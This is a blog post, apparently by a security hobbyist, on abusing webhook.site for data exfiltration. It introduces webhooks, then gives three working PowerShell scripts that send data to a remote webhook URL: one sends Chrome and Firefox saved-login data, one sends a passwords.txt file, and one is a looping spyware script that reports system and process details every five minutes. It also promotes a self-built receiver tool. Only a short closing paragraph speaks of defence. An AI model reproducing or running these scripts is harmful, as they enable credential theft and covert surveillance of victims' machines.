Introduction
Picture this: You're a developer testing your app's API calls. You head over to webhook.site, grab a free URL, and boom - you can see every request your app makes in real-time. Pretty neat, right? But here's the kicker - hackers have been using this exact same tool to silently steal your data, and your antivirus has no clue it's happening.
What's All This Webhook Stuff About?
Think of webhooks as digital messengers. When something happens in one app (like someone buying something on your website), it automatically shoots a message to another app to let it know. It's like having a really fast postal service between your applications.
When an specific event occurs, the source application crafts an HTTP POST request and fires it off to a predefined URL. The request typically includes several important components that make the whole system work.
The HTTP headers tell the receiving server what kind of data it's about to receive. You'll usually see headers like Content-Type: application/json indicating the payload format, User-Agent identifying what system sent the request, and sometimes custom headers with authentication tokens or additional metadata. Some webhook providers also include signature headers for security verification.
The main part of the webhook lives in the request body, which contains the actual data about what happened. This payload is usually formatted as JSON, making it easy for receiving applications to parse and process. For example, when someone makes a purchase, the webhook payload might include the customer's information, order details, payment status, and timestamp.
Here's what a typical webhook HTTP request looks like in practice:
POST /webhook-endpoint HTTP/1.1
Host: rubberpirate.me
Content-Type: application/json
Content-Length: 243
User-Agent: PaymentProvider/1.0
X-Webhook-Signature: sha256=f7d2b3...
{
"event": "payment.completed",
"data": {
"order_id": "69696",
"amount": 99,
"currency": "INR",
"customer_email": "rubberpirate@gmail.com",
"timestamp": "2024-01-15T10:30:00Z"
}
}
What is Data Exfiltration and Why It's Usually a Pain
Before we dive into how to use webhook.site for data exfiltration, let's talk about what data exfiltration actually means and why it is so hard to do without having any contact with the victim machine.
Data exfiltration is basically the unauthorized copying and transfer of sensitive data from a target system. Think of it as digital shoplifting - sneaking valuable information out of where it belongs and into the hands of someone else.
Some Data Exfiltration Scripts using Webhook
Script #1: Get Encrypted Browser Passwords and Data
$webhookUrl = "https://webhook.site/your-unique-url"
function Send-ToWebhook($data) {
$json = $data | ConvertTo-Json -Depth 5
Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $json -ContentType "application/json"
}
$chromeLoginDataPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
if (Test-Path $chromeLoginDataPath) {
$tempChromeDb = "$env:TEMP\LoginDataCopy"
Copy-Item -Path $chromeLoginDataPath -Destination $tempChromeDb -Force
$chromeData = [PSCustomObject]@{
Browser = "Chrome"
FilePath = $tempChromeDb
Note = "Encrypted Login Data file copied for offline analysis"
}
Send-ToWebhook $chromeData
} else {
Write-Output "Chrome Login Data not found."
}
$firefoxProfilePath = Join-Path $env:APPDATA "Mozilla\Firefox\Profiles"
if (Test-Path $firefoxProfilePath) {
$profiles = Get-ChildItem -Path $firefoxProfilePath -Directory
foreach ($profile in $profiles) {
$loginsJsonPath = Join-Path $profile.FullName "logins.json"
if (Test-Path $loginsJsonPath) {
$loginsContent = Get-Content -Path $loginsJsonPath -Raw
$firefoxData = [PSCustomObject]@{
Browser = "Firefox"
Profile = $profile.Name
LoginsJson = $loginsContent
Note = "Encrypted login data from logins.json"
}
Send-ToWebhook $firefoxData
}
}
} else {
Write-Output "Firefox profiles not found."
}
This script demonstrates how browser-stored credentials can be extracted and exfiltrated via HTTP POST requests to a webhook endpoint. It targets Chrome and Firefox browsers specifically
Script #2: Get The Contents of a Specific File
$webhookUrl = "https://webhook.site/your-unique-url"
$filePath = "$env:USERPROFILE\Downloads\passwords.txt"
if (Test-Path $filePath) {
$fileContent = Get-Content -Path $filePath -Raw
$payload = @{
Filename = "passwords.txt"
Content = $fileContent
} | ConvertTo-Json
Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json"
} else {
Write-Output "File not found: $filePath"
}
This script demonstrates a simple file exfiltration technique that targets a specific file (passwords.txt) from the user's Downloads folder and sends its contents to a remote webhook endpoint.
Script #3: A Basic Spyware
This script gathers the system info and running processes every 5 minutes
$webhookUrl = "https://webhook.site/your-unique-url"
function Collect-SystemData {
$sysInfo = Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, NumberOfProcessors, TotalPhysicalMemory
$osInfo = Get-CimInstance -ClassName Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber, OSArchitecture
$processes = Get-Process | Select-Object Id, ProcessName, CPU, StartTime -ErrorAction SilentlyContinue
$data = [PSCustomObject]@{
Timestamp = (Get-Date).ToString("o")
SystemInfo = $sysInfo
OSInfo = $osInfo
Processes = $processes
}
return $data
}
function Send-ToWebhook($data) {
$json = $data | ConvertTo-Json -Depth 5
Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $json -ContentType "application/json"
}
while ($true) {
$collectedData = Collect-SystemData
Send-ToWebhook $collectedData
Start-Sleep -Seconds 300
}
This script demonstrates a persistent system monitoring and reconnaissance tool that continuously collects system information and running processes, then send’s this data to a remote webhook endpoint every 5 minutes.
While webhook.site is great, I created something even more powerful for security professionals and red teamers. BlackHook-CLI is like webhook.site's evil twin - designed specifically for penetration testing and security research.
How & Why I Built BlackHook-CLI:
Built with Python, BlackHook-CLI combines several libraries to deliver terminal-based webhook service:
Textual - Used for the Text User Interfaces (TUI).
pyngrok - Manages ngrok tunnels for public URL exposure
requests - Handles HTTP request processing and parsing
ngrok - Creates secure HTTPS endpoints for webhook reception
Number one reason is I Love Terminal (Not because it looks Cool😎, but because its easy to use🌿), Second reason is that your data never touches third-party servers and there are no rate limits, also because it uses ngrok to generate link, you can customize the URL to your liking.
Getting Started:
git clone https://github.com/rubberpirate/Blackhook-Cli.git
cd Blackhook-Cli
pip install -r requirements.txt
python blackhook_cli.py start
Once running, BlackHook-CLI creates a secure tunnel and gives you a ngrok URL to use as a webhook. The interface shows you incoming data in real-time with way more detail than webhook.site.
You can use the same scripts from above, just replace the Webhook.site URL with the ngrok URL generated by Blackhook-Cli.
The Bigger Security Picture
The webhook.site attack method is part of a larger trend called "Living off the Land" - using legitimate tools for malicious purposes. It's like robbers using the front door instead of breaking windows - way less obvious.
We're also seeing these techniques used in:
Supply chain attacks where malicious packages include webhook exfiltration
Phishing campaigns that steal credentials via webhook callbacks
Insider threats where employees use webhooks to steal company data
Ransomware operations that exfiltrate data before encrypting systems
Conclusion
Webhook.site is an amazing tool that makes developers' lives easier. But like any powerful tool, it can be used for both good and evil. The same features that make it perfect for debugging APIs also make it perfect for stealing data.
Remember, the goal isn't to vilify useful tools like webhook.site, but to understand how they can be misused so we can defend against it.
